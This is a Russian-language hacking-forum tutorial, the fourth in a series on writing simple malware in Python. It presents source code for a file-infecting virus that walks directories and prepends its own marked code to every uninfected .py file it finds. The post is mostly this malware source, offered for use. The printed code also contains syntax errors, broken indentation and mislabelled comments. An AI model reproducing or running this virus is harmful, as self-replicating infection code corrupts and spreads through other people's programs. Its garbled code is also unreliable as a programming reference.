Пишем на Python простейшую малварь (Ч4. Вирус)

Kenshiro

Script Kiddie
22.05.2020
10
1
6
Здесь идея в том, чтобы создать программу, которая будет заражать другие программы с указанным расширением. В отличие от настоящих вирусов, которые заражают любой исполняемый файл, наш будет поражать только другие программы на Python.

На этот раз нам не потребуются никакие сторонние библиотеки, нужны только модули sys и os. Подключаем их.

Python:
import sys
import os
Создадим три функции: сообщение, парсер, заражение.
Функция, которая сообщает об атаке:

Код:
def code(void): 
print("Infected")
Сразу вызовем ее, чтобы понять, что программа отработала:

Python:
code(None)
Обход директорий похож на тот, что мы делали в шифровальщике.

Python:
def walk(dir): 
    for name in os.listdir(dir):     
        path = os.path.join(dir, name)     
        # Если нашли файл, проверяем его расширение     
        if os.path.isfile(path):         
        # Если расширение — py, вызываем virus         
            if (os.path.splitext(path)[1] == ".py"):             
            virus(path)         
            else:             
                pass     
        else:         
            # Если это каталог, заходим в него         
            walk(path)
Вирус будет заражать файлы «вниз» от того каталога, где он находится (путь мы получаем, вызвав os.getcwd()).

Дальше функция, которая отвечает за саморепликацию.

Python:
def virus(python): 
    begin = "# START #\n" 
    end = "# STOP #\n" 
    # Читаем атакуемый файл, назовем его copy 
    with open(sys.argv[0], "r") as copy:     
        # Создаем флаг     
        k = 0     
        # Создаем переменную для кода вируса и добавляем пустую строку     
        virus_code = "\n"     
        # Построчно проходим заражаемый файл     
        for line in copy:         
            # Если находим маркер начала, поднимаем флаг         
            if line == begin:             
            k = 1             
            # Добавляем маркер в зараженный код             
            virus_code += begin         
            # Если мы прошли начало, но не дошли до конца, копируем строку         
        elif k == 1 and line != end:             
            virus_code += line         
            # Если дошли до конца, добавляем финальный маркер и выходим из цикла         
        elif line == end:             
            virus_code += end             
            break         
        else:             
            pass 
    # Снова читаем заражаемый файл 
    with open(python, "r") as file:     
        # Создаем переменную для исходного кода     
        original_code = ""     
        # Построчно копируем заражаемый код     
        for line in file:         
        original_code += line         
        # Если находим маркер начала вируса, останавливаемся и поднимаем флаг vir         
        if line == begin:             
            vir = True             
            break         
            # Если маркера нет, опускаем флаг vir         
        else:             
            vir = False 
        # Если флаг vir опущен, пишем в файл вирус и исходный код 
    if not vir:     
        with open(python, "w" as paste:         
            paste.write(virus_code + "\n\n" + original_code) 
    else:     
        pass
Теперь, думаю, стало понятнее, зачем нужны метки «старт» и «стоп». Они обозначают начало и конец кода вируса. Сперва мы читаем файл и построчно просматриваем его. Когда мы наткнулись на стартовую метку, поднимаем флаг. Пустую строку добавляем, чтобы вирус в исходном коде начинался с новой строки. Читаем файл второй раз и записываем построчно исходный код. Последний шаг — пишем вирус, два отступа и оригинальный код. Можно поиздеваться и записать его как-нибудь по-особому — например, видоизменить все выводимые строки.
 
Последнее редактирование модератором:
  • Like
Реакции: Seyki

Об LS-LA

  • Мы, группа единомышленников, основная цель которых повышать уровень знаний и умений.
    Не забывая о материальном благополучии каждого)

About LS-LA

  • We, a group of like-minded people, whose main goal is to increase the level of knowledge and skills.
    Not forgetting about everyone’s material well-being)

Быстрая навигация

Пользовательское меню